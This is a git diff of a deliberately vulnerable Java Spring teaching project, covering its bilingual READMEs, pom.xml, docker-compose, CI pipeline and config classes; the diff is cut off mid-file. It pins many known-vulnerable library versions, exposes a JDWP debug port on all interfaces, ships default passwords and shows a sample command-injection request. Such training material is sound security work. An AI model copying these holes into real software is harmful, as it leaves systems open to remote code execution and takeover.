diff --git a/.gitignore b/.gitignore index d83c1fbc..2b8dab5d 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,8 @@ .DS_Store target/ other-vuls/ -*.iml \ No newline at end of file +docker/ +poc/ +src/main/java/org/joychou/test/ +*.iml +docker_jdk_build.sh \ No newline at end of file diff --git a/README.md b/README.md index 42fb84dd..c1f2eb91 100644 --- a/README.md +++ b/README.md @@ -1,78 +1,215 @@ -# Java Security Code +# Java Sec Code -## 介绍 -该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 +Java sec code is a very powerful and friendly project for learning Java vulnerability code. -每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 -## 漏洞代码 +## Recruitment -- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) +[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + + +## Introduce + +This project can also be called Java vulnerability code. + +Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. + +Due to the server expiration, the online demo site had to go offline. + +Login username & password: + +``` +admin/admin123 +joychou/joychou123 +``` + + +## Vulnerability Code + +Sort by letter. + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) +- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [GetRequestURI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/GetRequestURI.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) +- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) +- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) +- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) -- [URL重定向](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) -- [IP伪造](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) -- [CRLF注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) -- [远程命令执行](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) -- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) -- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) -- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) -- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) -- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) -- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) -- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) -## 漏洞说明 +## Vulnerability Description +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) -- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) +## How to run -## 如何运行 +The application will use mybatis auto-injection. Please run mysql server ahead of time and configure the mysql server database's name and username/password except docker environment. +``` +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code +spring.datasource.username=root +spring.datasource.password=woshishujukumima +``` -### Tomcat +- Docker +- IDEA +- Tomcat +- JAR -1. 生成war包 `mvn clean package` -2. 将target目录的war包,cp到Tomcat的webapps目录 -3. 重启Tomcat应用 +### Docker -``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami -``` - -返回 +Start docker: ``` -Viarus +docker-compose pull +docker-compose up ``` -### IDEA -如果想在IDEA中直接运行,需要在IDEA中添加Tomcat配置,步骤如下: +Stop docker: ``` -Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路径 -> Deployment中添加Artifact选择java-sec-code:war exploded +docker-compose down ``` -![tomcat](https://github.com/JoyChou93/java-sec-code/raw/master/idea-tomcat.png) +Docker's environment: + +- Java 1.8.0_102 +- Mysql 8.0.17 +- Tomcat 8.5.11 -配置完成后,右上角直接点击run,即可运行。 + +### IDEA + +- `git clone https://github.com/JoyChou93/java-sec-code` +- Open in IDEA and click `run` button. + +Example: ``` http://localhost:8080/rce/exec?cmd=whoami ``` - -返回 -``` +return: + +``` Viarus ``` +### Tomcat + +- `git clone https://github.com/JoyChou93/java-sec-code` & `cd java-sec-code` +- Build war package by `mvn clean package`. +- Copy war package to tomcat webapps directory. +- Start tomcat application. + +Example: + +``` +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami +``` + +return: + +``` +Viarus +``` + + +### JAR + +Change `war` to `jar` in `pom.xml`. + +```xml +sec +java-sec-code +1.0.0 +war +``` + +Build package and run. + +``` +git clone https://github.com/JoyChou93/java-sec-code +cd java-sec-code +mvn clean package -DskipTests +java -jar target/java-sec-code-1.0.0.jar +``` + +## Authenticate + +### Login + +[http://localhost:8080/login](http://localhost:8080/login) + +If you are not logged in, accessing any page will redirect you to the login page. The username & password are as follows. + +``` +admin/admin123 +joychou/joychou123 +``` + +### Logout + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### RememberMe + +Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-operational session will expire. In order to solve this problem, the rememberMe function is introduced, and the default expiration time is 2 weeks. + + +## Contributors + +Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981) +Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). + + +## Support + +If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. diff --git a/README_zh.md b/README_zh.md new file mode 100644 index 00000000..b5c658c3 --- /dev/null +++ b/README_zh.md @@ -0,0 +1,205 @@ +# Java Sec Code + +对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 + +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 + +## 招聘 + +[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + +## 介绍 + +该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。 + +每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 + +由于服务器到期,在线的Demo网站已不能使用。 + +登录用户名密码: + +``` +admin/admin123 +joychou/joychou123 +``` + +## 漏洞代码 + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) +- [CommandInject](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CommandInject.java) +- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) +- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) +- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) +- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [xlsxStreamerXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) + +## 漏洞说明 + +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) +- [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) +- [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) +- [POI-OOXML XXE](https://github.com/JoyChou93/java-sec-code/wiki/Poi-ooxml-XXE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) +- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) + + +## 如何运行 + +应用会用到mybatis自动注入,请提前运行mysql服务,并且配置mysql服务的数据库名称和用户名密码(除非是Docker环境)。 + +``` +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/java_sec_code +spring.datasource.username=root +spring.datasource.password=woshishujukumima +``` + +- Docker +- IDEA +- Tomcat +- JAR + +### Docker + +开启应用: + +``` +docker-compose pull +docker-compose up +``` + +关闭应用: + +``` +docker-compose down +``` + +Docker环境: + +- Java 1.8.0_102 +- Mysql 8.0.17 +- Tomcat 8.5.11 + +### IDEA + +- `git clone https://github.com/JoyChou93/java-sec-code` +- 在IDEA中打开,直接点击run按钮即可运行。 + +例子: + +``` +http://localhost:8080/rce/exec?cmd=whoami +``` + +返回: + +``` +Viarus +``` + +### Tomcat + +1. `git clone https://github.com/JoyChou93/java-sec-code & cd java-sec-code` +2. 生成war包 `mvn clean package` +3. 将target目录的war包,cp到Tomcat的webapps目录 +4. 重启Tomcat应用 + + +例子: + +``` +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami +``` + +返回: + +``` +Viarus +``` + + +### JAR包 + + +先修改pom.xml里的配置,将war改成jar。 + +``` + sec + java-sec-code + 1.0.0 + war +``` + +再打包运行即可。 + +``` +git clone https://github.com/JoyChou93/java-sec-code +cd java-sec-code +mvn clean package -DskipTests +java -jar 打包后的jar包路径 +``` + +## 认证 + +### 登录 + +[http://localhost:8080/login](http://localhost:8080/login) + +如果未登录,访问任何页面都会重定向到login页面。用户名和密码如下。 + +``` +admin/admin123 +joychou/joychou123 +``` +### 登出 + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### 记住我 + +Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能,默认过期时间为2周。 + + +## 贡献者 + +核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 + +## 支持 + +如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 + diff --git a/azure-pipelines.yml b/azure-pipelines.yml new file mode 100644 index 00000000..55c46e06 --- /dev/null +++ b/azure-pipelines.yml @@ -0,0 +1,30 @@ +# Starter pipeline +# Start with a minimal pipeline that you can customize to build and deploy your code. +# Add steps that build, run tests, deploy, and more: +# https://aka.ms/yaml + +trigger: +- main + +pool: Default +variables: + - name: COVERITY_TOOL_HOME + value: C:\Test\cov-analysis-win64-2024.9.1 + +jobs: +- job: BAC_SARIF + steps: + - script: cov-capture --dir idir --source-dir . + - script: cov-analyze --dir idir --all + - script: cov-commit-defects --dir idir --url https://coverity.field-test.blackduck.com --auth-key-file C:/Test/auth-key.txt --stream java-pipe-ryan +#- job: SARIF +# dependsOn: BAC +# steps: + - script: cov-format-errors --dir idir --json-output-v10 issues.json + - script: C:\Test\cov-analysis-win64-2024.9.1\node\node.exe C:\Test\cov-analysis-win64-2024.9.1\SARIF\cov-format-sarif-for-github.js --inputFile issues.json --outputFile issue-report.sarif --githubUrl https://github.com --repoName autumn0914/java-sec-code-demo --checkoutPath autumn0914/java-sec-code-demo . 033dbbad71a9d2923ac6cca7b3c62e8d4aa1e5ef + - script: tar -a -c -f CodeAnalysisLogs.zip issue-report.sarif + - task: PublishBuildArtifacts@1 + displayName: 'Publish SARIF Report' + inputs: + PathtoPublish: 'issue-report.sarif' + ArtifactName: CodeAnalysisLogs \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 00000000..643c7e04 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,15 @@ +version : '3' +services: + jsc: + image: joychou/jsc:latest + command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"] + ports: + - "8080:8080" + - "8000:8000" + links: + - j_mysql + + j_mysql: + image: joychou/jsc_mysql:8.4.3 + ports: + - "3306:3306" diff --git a/idea-tomcat.png b/idea-tomcat.png deleted file mode 100644 index 5d0504f4..00000000 Binary files a/idea-tomcat.png and /dev/null differ diff --git a/java-sec-code.iml b/java-sec-code.iml index bb761497..5c58c92b 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -1,82 +1,14 @@ - + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index a12f8f37..c62d938c 100644 --- a/pom.xml +++ b/pom.xml @@ -7,7 +7,12 @@ sec java-sec-code 1.0.0 - war + jar + + + 1.8 + 1.8 + @@ -20,22 +25,8 @@ org.springframework.boot spring-boot-starter-web - - - - org.springframework.boot - spring-boot-starter-tomcat - - - - - org.apache.tomcat - tomcat-servlet-api - 8.0.36 - provided - @@ -71,7 +62,7 @@ org.dom4j dom4j - 2.1.1 + 2.1.0 @@ -79,13 +70,7 @@ com.google.guava guava - 21.0 - - - - com.google.guava - guava - 21.0 + 23.0 @@ -102,8 +87,9 @@ org.apache.httpcomponents httpclient - 4.3.6 + 4.5.12 + org.apache.httpcomponents fluent-hc @@ -114,7 +100,13 @@ org.apache.logging.log4j log4j-core - 2.8.2 + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 @@ -130,9 +122,310 @@ 3.2 + + + org.jolokia + jolokia-core + 1.6.0 + + + + + org.springframework.boot + spring-boot-starter-actuator + + + + + org.springframework.cloud + spring-cloud-starter-netflix-eureka-client + 1.4.0.RELEASE + + + + + com.fasterxml.uuid + java-uuid-generator + 3.1.4 + + + + + org.springframework.security + spring-security-web + 4.2.12.RELEASE + + + + org.springframework.security + spring-security-config + 4.2.12.RELEASE + + + + org.springframework.boot + spring-boot-starter-security + 2.1.5.RELEASE + + + + commons-net + commons-net + 3.6 + + + + + commons-httpclient + commons-httpclient + 3.1 + + + + + + org.mybatis.spring.boot + mybatis-spring-boot-starter + 1.3.2 + + + + + org.apache.velocity + velocity + 1.7 + + + + + com.thoughtworks.xstream + xstream + + 1.4.20 + + + + org.apache.poi + poi + 3.10-FINAL + + + + + org.apache.poi + poi-ooxml + 3.9 + + + + com.monitorjbl + xlsx-streamer + 2.0.0 + + + + + org.jsoup + jsoup + 1.10.2 + + + + + commons-io + commons-io + 2.5 + + + + + org.apache.httpcomponents + httpasyncclient + 4.1.4 + + + + io.springfox + springfox-swagger2 + 2.9.2 + + + + io.springfox + springfox-swagger-ui + 2.9.2 + + + + + org.projectlombok + lombok + 1.18.20 + provided + + + + org.yaml + snakeyaml + 1.21 + + + + org.springframework + spring-test + + + + junit + junit + + + + + commons-beanutils + commons-beanutils + 1.9.4 + + + + + io.jsonwebtoken + jjwt + 0.9.1 + + + + + com.auth0 + java-jwt + 4.0.0 + + + + cn.hutool + hutool-all + 5.8.10 + + + + org.javassist + javassist + 3.27.0-GA + + + + org.springframework.data + spring-data-commons + 1.13.11.RELEASE + + + + com.jayway.jsonpath + json-path + + + + org.xmlbeam + xmlprojector + 1.4.13 + + + + + org.postgresql + postgresql + 42.3.1 + + + + + com.ibm.db2 + jcc + 11.5.8.0 + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + com.fasterxml.jackson.core + jackson-databind + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-core + 2.9.8 + + + + + + org.jsecurity + jsecurity + 0.9.0 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + com.h2database + h2 + 1.4.199 + test + + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + + com.alibaba + QLExpress + 3.3.1 + + + + + org.springframework.cloud + spring-cloud-dependencies + Camden.RELEASE + pom + import + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + \ No newline at end of file diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 6a6fbc6e..afdf6f56 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -3,10 +3,13 @@ import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.builder.SpringApplicationBuilder; +import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; +@ServletComponentScan // do filter @SpringBootApplication +// @EnableEurekaClient // 测试Eureka请打开注释,防止控制台一直有warning public class Application extends SpringBootServletInitializer { @Override diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java new file mode 100644 index 00000000..041f4f80 --- /dev/null +++ b/src/main/java/org/joychou/config/Constants.java @@ -0,0 +1,10 @@ +package org.joychou.config; + +public class Constants { + + private Constants() { + } + + public static final String REMEMBER_ME_COOKIE = "rememberMe"; + public static final String ERROR_PAGE = "https://test.joychou.org/error1.html"; +} diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java new file mode 100644 index 00000000..6c1a8ef8 --- /dev/null +++ b/src/main/java/org/joychou/config/CorsConfig2.java @@ -0,0 +1,29 @@ +//package org.joychou.config; +// +//import org.springframework.boot.web.servlet.FilterRegistrationBean; +//import org.springframework.context.annotation.Bean; +//import org.springframework.context.annotation.Configuration; +//import org.springframework.web.cors.CorsConfiguration; +//import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +//import org.springframework.web.filter.CorsFilter; +// +//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework +//@Configuration +//public class CorsConfig2 { +// +// @Bean +// public FilterRegistrationBean corsFilter() { +// UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); +// CorsConfiguration config = new CorsConfiguration(); +// config.setAllowCredentials(true); +// config.addAllowedOrigin("http://test.joychou.org"); +// config.addAllowedOrigin("https://test.joychou.org"); +// config.addAllowedHeader("*"); +// config.addAllowedMethod("GET"); +// config.addAllowedMethod("POST"); +// source.registerCorsConfiguration("/cors/getCsrfToken/sec_03", config); +// FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source)); +// bean.setOrder(0); +// return bean; +// } +//} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/CsrfTokenBean.java b/src/main/java/org/joychou/config/CsrfTokenBean.java new file mode 100644 index 00000000..b0698e12 --- /dev/null +++ b/src/main/java/org/joychou/config/CsrfTokenBean.java @@ -0,0 +1,18 @@ +package org.joychou.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; + +/** + * Reference: https://docs.spring.io/spring-security/site/docs/5.0.x/reference/html/csrf.html + */ + +@Configuration +public class CsrfTokenBean { + + @Bean + public CookieCsrfTokenRepository cookieCsrfTokenRepository() { + return CookieCsrfTokenRepository.withHttpOnlyFalse(); + } +} diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java new file mode 100644 index 00000000..47d3acea --- /dev/null +++ b/src/main/java/org/joychou/config/CustomCorsConfig.java @@ -0,0 +1,49 @@ +package org.joychou.config; + +import org.joychou.security.CustomCorsProcessor; +import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.CorsRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; + +@Configuration +public class CustomCorsConfig extends WebMvcRegistrationsAdapter { + + /** + * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 + */ + @Bean + public WebMvcConfigurer corsConfigurer() { + return new WebMvcConfigurerAdapter() { + @Override + public void addCorsMappings(CorsRegistry registry) { + // 为了支持一级域名,重写了checkOrigin + //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; + registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path + //.allowedOrigins(allowOrigins) + .allowedMethods("GET", "POST") + .allowCredentials(true); + } + }; + } + + + @Override + public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { + return new CustomRequestMappingHandlerMapping(); + } + + + /** + * 自定义Cors处理器,重写了checkOrigin + * 自定义校验origin,支持一级域名校验 && 多级域名 + */ + private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping { + private CustomRequestMappingHandlerMapping() { + setCorsProcessor(new CustomCorsProcessor()); + } + } +} diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java new file mode 100644 index 00000000..64477bd4 --- /dev/null +++ b/src/main/java/org/joychou/config/HttpServiceConfig.java @@ -0,0 +1,38 @@ +package org.joychou.config; + +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.client.SimpleClientHttpRequestFactory; +import org.springframework.web.client.RestTemplate; + +import java.io.IOException; +import java.net.HttpURLConnection; + + +class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { + + + @Override + protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException { + super.prepareConnection(connection, httpMethod); + // Use custom ClientHttpRequestFactory to set followRedirects false. + connection.setInstanceFollowRedirects(false); + } +} + +@Configuration +public class HttpServiceConfig { + + @Bean + public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) { + return builder.requestFactory(CustomClientHttpRequestFactory.class).build(); + } + + + @Bean + public RestTemplate restTemplate(RestTemplateBuilder builder) { + return builder.build(); + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/Object2Jsonp.java b/src/main/java/org/joychou/config/Object2Jsonp.java new file mode 100644 index 00000000..64d68205 --- /dev/null +++ 